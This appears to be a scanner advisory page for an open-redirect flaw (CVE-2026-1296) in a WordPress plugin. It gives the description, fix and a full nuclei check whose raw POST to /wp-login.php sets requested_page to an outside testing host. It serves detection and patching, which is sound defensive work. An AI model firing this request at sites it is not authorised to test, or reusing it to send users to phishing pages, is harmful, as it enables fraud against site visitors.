Frontend Post Submission Manager Lite <= 1.2.7 - Open Redirect

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

44%of all CVEs are less likely

Readycheck to confirm it

The Frontend Post Submission Manager Lite plugin for WordPress is vulnerable to Open Redirection in all versions up to, and including, 1.2.7 due to insufficient validation on the 'requested_page' POST parameter in the verify_username_password function. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action such as clicking on a link.

Impact

Unauthenticated attackers can redirect users to malicious sites, potentially leading to phishing or malware exposure.

Fix

Update to a version later than 1.2.7 or the latest available version.

How to confirm it

Send: POST /wp-login.php
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*…/ AND status 302

Run it with nuclei: nuclei -id CVE-2026-1296 -u <target>

The full check

id: CVE-2026-1296

info:
  name: Frontend Post Submission Manager Lite <= 1.2.7 - Open Redirect
  author: Shivam Kamboj
  severity: medium
  description: |
    The Frontend Post Submission Manager Lite plugin for WordPress is vulnerable to Open Redirection in all versions up to, and including, 1.2.7 due to insufficient validation on the 'requested_page' POST parameter in the verify_username_password function. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action such as clicking on a link.
  impact: |
    Unauthenticated attackers can redirect users to malicious sites, potentially leading to phishing or malware exposure.
  remediation: |
    Update to a version later than 1.2.7 or the latest available version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/frontend-post-submission-manager-lite/frontend-post-submission-manager-lite-127-unauthenticated-open-redirect-via-requested-page-parameter
    - http://nvd.nist.gov/vuln/detail/CVE-2026-1296
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-1296
    epss-score: 0.00515
    epss-percentile: 0.44227
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp,wp-plugin,redirect,frontend-post-submission-manager-lite

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=&pwd=&wp-submit=Log+In&action=login&requested_page=https://oast.pro

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from